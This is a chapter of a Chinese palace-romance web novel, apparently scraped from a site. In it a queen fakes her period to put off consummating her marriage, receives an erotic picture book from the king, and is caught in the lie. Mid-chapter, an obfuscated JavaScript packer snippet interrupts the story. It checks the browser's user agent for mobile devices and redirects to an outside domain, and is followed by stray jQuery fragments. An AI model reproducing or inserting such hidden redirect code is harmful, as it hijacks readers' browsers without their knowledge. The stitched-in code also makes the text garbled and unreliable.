萧玦并非对祝焰无情,初见时她确有心动,毕竟祝焰这张脸世间绝无仅有的皮囊,很是养眼。
结果祝焰对她态度冷淡,以至于她压抑自己的情感,喜欢也随之变淡。
只是在近些日,两人慢慢相处中,她心中对祝焰的厌恶,才慢慢消减。
再加上她中毒修养,这么多事加起来,根本没有心思去考虑什么圆房不圆房的。
她不知如何来表达她是真的不讨厌他了。
祝焰气得说不出话来,明明是她咬的,如今才关心是不是太晚了点?再说了,是他不想圆房吗?怎么还往他身上推?
萧玦放下了手中碗筷,用手帕擦了擦嘴角,优雅起身,一点都不拖泥带水地在祝焰脸颊旁边,轻轻一啄。
她!
.....
原本祝焰还在气头上,突如其来的一吻,就像是倾盆泼下的水,一下子浇灭了他的怒火,他愣在了那,只一瞬,急不可耐地握上了萧玦的腰。
这一下太急了,萧玦明显感觉到祝焰不同寻常的手臂力道,她没来得及推脱,祝焰已眯着眼俯身上来,她无奈之下又抬手,轻轻扇了他一巴掌。
“王上...”
祝焰不满地皱眉,要按照他的性格,敢这么耍弄他的人,早已尸骨无存了。
可这萧玦不一样,他不知从哪一刻开始,生出的一种卑躬屈膝的姿态,他甘愿被她戏弄。
堂堂北陵王竟也有一日,享受喜欢这种被人玩弄于鼓掌之间的感觉。
萧玦越发地大胆,或许从小骨子里的那种高贵,让她从一开始就以为,祝焰就应该是甘愿臣服于她的。
不过是在祝焰的地盘,她不应该那么嚣张跋扈,而是换一种方式迂回。
在后宫长大,拿捏人心的手段,她会的可太多了,简直是信手拈来。
萧玦打人的那只手,此刻正放在他起伏的胸膛上,半握着的拳头,感受着他紊乱的心跳,她敢这么招惹祝焰,自然有全身而退之法。
“王后这是什么意思?给个甜枣,打一巴掌?你把本王当什么人了?”
“王上恕罪,臣妾也是一时心急,不过是最近臣妾不适宜侍寝,臣妾来月事了...”
这一刻,萧玦脑海里浮现了许多争宠嫔妃的模样,自然娇弱的神态也若隐若现地浮现在她的脸上。
祝焰又是一愣,手心微微出汗,他从未见过这样的萧玦,娇滴滴地依靠在他的怀里,碧玉般的小脸白得发亮,细看都能瞧见绒毛,嫩得能掐出水来。
经过这几月调理,萧玦的脸圆润饱满了许多,带着一丝自然粉,如天边粉霞,一双亮晶晶的眸子如春日碧波荡漾,长睫遮掩着她眼中的柔情。
祝焰感觉出汗的手心生出酥麻,他怎么好怪罪的他的王后呢?
“那....”祝焰滚了滚喉结,“王后早些上床歇息吧。”
“是,王上。”
萧玦瞬间收起柔弱的模样,嘴角勾起一抹笑意,召来秋月为她卸妆洗漱。
她刚要就寝时,祝焰穿好寝衣过来了,这次很自然地躺在了她的床边。
萧玦心底一惊,心想自己不会是失算,惹火上身了吧。
祝焰人看着野蛮,倒也不像是会胡来的样子,不过她一想说来月事是装的,不由得心虚。
夜晚静谧得能听到虫鸣,萧玦紧张地咽了咽口水,大气不敢出一下,浑身都紧绷起来,她感觉到有一只手,悄悄地在她衣服边缘徘徊摩挲。
他在干嘛?
她吓了一跳,忽而腹部覆盖上热量,使她腰间一紧,这只手很有礼貌和分寸,只是放在她的小腹,为她提供热量。
这是萧玦前所未有的体验,饶是母妃在时,也是差人灌汤婆子放进被子里为她暖腹。
而肌肤供给的热量就太不一样了。
这样近在咫尺的暧昧又暖心的距离,让萧玦忍不住去遐想。
此时祝焰侧躺着身子,当他把手放在萧玦冰凉小腹上时,除了心疼没有丝毫杂念,他现在什么都做不了,唯一能做的就是这样为她取暖。
“王上?”萧玦试探地叫着祝焰。
祝焰缓缓睁开一只眼,低沉地说:“嗯?”
“...多谢。”
祝焰轻笑一声。
“你我本是夫妻,这都是我应该做的,王后早些歇息吧。”
愧疚之意萦绕在心头,萧玦根本没有睡着,她慢慢地转头,看着身边的祝焰,呼吸均匀似乎睡着了,而放在她腹上的手,并没有拿开的意思,此时掌心已微微出汗。
她摸索着去找他的手,缓慢地拿开瞬间,祝焰轻哼一声,紧扣住了她的手。
这双骨节分明的大手,轻而易举地将萧玦的手全包住,常年累月用刀剑,手心生出了厚厚的茧,萧玦指尖拂过他掌心的茧子,竟心生羡慕之意。
其实她曾经也会刀枪剑戟,只不过中毒之后没太多力气拿,现在掌心的茧子已消失不见了。
祝焰察觉到掌心的异样,瞬间惊醒,意识到是在萧玦的床上,并未敢轻举妄动,而是微微眯眼,看到萧玦正皱眉抱着他的手,不知仔细研究着什么。
祝焰心中是喜悦的,他的王后真是心细如发,定是在心疼他儿时打猎留下的伤疤,就在手背那里。
她心里是有我的。
既然她心里有他,为何不愿意跟他圆房呢?
祝焰闭着眼睛,想了好久,只有一个理由,他不知道萧玦没看见。
至于为何不同他圆房,许是王后深居后宫,大门不出二门不迈,没人教她这其中门道。
可公主出嫁前,王宫中肯定是有教习嬷嬷的啊。
定是那些下人办事不利,教的不好,害得他的王后根本不懂这些。
要是这样就很好办了,他那里可是有很多各式各样的避火图,到时候给王后送过观摩学习,不就好了。
祝焰很满意自己的安排,思考间他已经不自觉地向萧玦靠近,将半张脸埋在她的肩膀里。
好不容易睡着的萧玦一下子惊醒,看着像小孩一样钻进她怀里的祝焰,肩上的重量和热气让她感到很不舒服,她不满地皱了皱眉,想挪又挪不开,只好作罢。
-
某日晚上,萧玦听闻王上要处理奏折,今晚不过来月华宫了。
她心里乐开了花,整张床都是她的了,她想怎么睡就怎么睡。
为了表示慰问,萧玦差人去送了参汤,可把祝焰乐坏了。
他还以为她的王后,是舍不得他呢,算算日子他的计划也应该开始实施了。
萧玦打算早早就寝,眼前的烛火晃动,头顶的砖瓦响动后又没了动静,她警惕起来,对秋月说:“叫凉风去瞧瞧。”
“是。”
凉风靠在门外柱子上,得令后轻而易举地抓到了黑影,这人并未有太多挣扎,而是乖乖就范,跪在萧玦面前。
“红骏?”
隔着面纱,萧玦认出了他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592487|171895||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你为何深更半夜鬼鬼祟祟地到我房顶?不怕本后降罪吗?”
红骏摘下面罩,连忙伏地求饶,“王后恕罪!是王上!王上命我来送东西的。”
王上?
萧玦心中一紧,什么东西还要半夜三更,如此谨慎送过来,莫非是什么重要信息?
她身为王后掌管后宫,不得干政,可二人已达成交易,或许王上以此来传信?
“何物?”
红骏满脸通红地起身,颤颤巍巍地从怀里拿出一个册子,以迅雷不及掩耳之势举过头顶。
“王后,王上特地嘱咐,要您亲自过目,身边…身边最好不要有人。”
萧玦更加确信了自己心中的猜测,定是祝焰要给她透露什么朝堂上的消息。
她接过册子,抬手说:“行了,你们都退下吧。”
“是。”
萧玦关好门,屋里只有她一个人,她移动到烛台边,借着晃动的烛火,缓缓翻开书页。
红烛的光映照在萧玦逐渐变红的小脸上,看清上面的内容后,她倒吸一口凉气,双眼骤然放大。
画册上,两个小人以各种姿势,在不同场景,为爱寻欢。
千奇百怪,眼花缭乱,叹为观止……
起初,一脸不可置信的萧玦,还心存一丝幻想,以为祝焰不可能这么肤浅简单地就想给她分享避火图。
她快速地翻着,直到最后一页,祝焰挥洒笔墨,豪迈地写了四个大字。
好好研习。
萧玦心凉了半截。
好吧,祝焰此人,就是这么肤浅。
不过祝焰送她避火图是何意?
这些她早就看过了啊。
曾经她还是永乐公主时,经常乔装打扮,混迹烟花柳巷,一来可为王兄打探消息,二来她也可以解闷。
这些东西对她来说,简直是看多了,就没有意思了。
萧玦收起避火图,她想了想明白了,祝焰不会以为自己不跟她圆房,是因为不懂男欢女爱那些事吧。
她纯粹是不想。
她害怕。
萧玦又不是没见过他腹下之物,只是略微瞧上一眼,已经叹为观止得令人幻痛了,更何况...难以想象。
她把避火图藏在床底箱子里,毕竟这是见不得人的东西,坐在床边,轻声叹了一口气。
这事左右是躲不过去,得想个万全之策,能脱一时是一时。
谢春宴将近,祝焰每日要处理的朝务如山,已经好几日没见到萧玦了,想得他心痒痒,掐指一算,已有七日有余,王后月事应该结束了。
这晚他特地沐浴更衣熏香,算好时间前往月华宫。
为了给王后一个惊喜,他特地嘱咐下人不要声张,抬手让她们先下去。
只要抬手推开眼前薄薄的一层门,里面就能见到他朝思暮想的人,祝焰满心欢喜推门瞬间,听到萧玦声音从里面传出来。
“秋月,把我的月事带拿来。”
笑容凝固在了祝焰的脸上,他几乎是用一刻便想明白了。
萧玦!你竟敢骗我!
见秋月没回应,萧玦遮住血污弄脏的衣裙,刚一转身,便看到对上了祝焰幽深的墨蓝双瞳。
“王上?你怎么来了?”
祝焰气得一声不吭看了她一眼,转身就走了,再回来时手上多了个东西。
他现在不知是气得疯魔了,才能如此平静。
“过来,本王帮你穿。”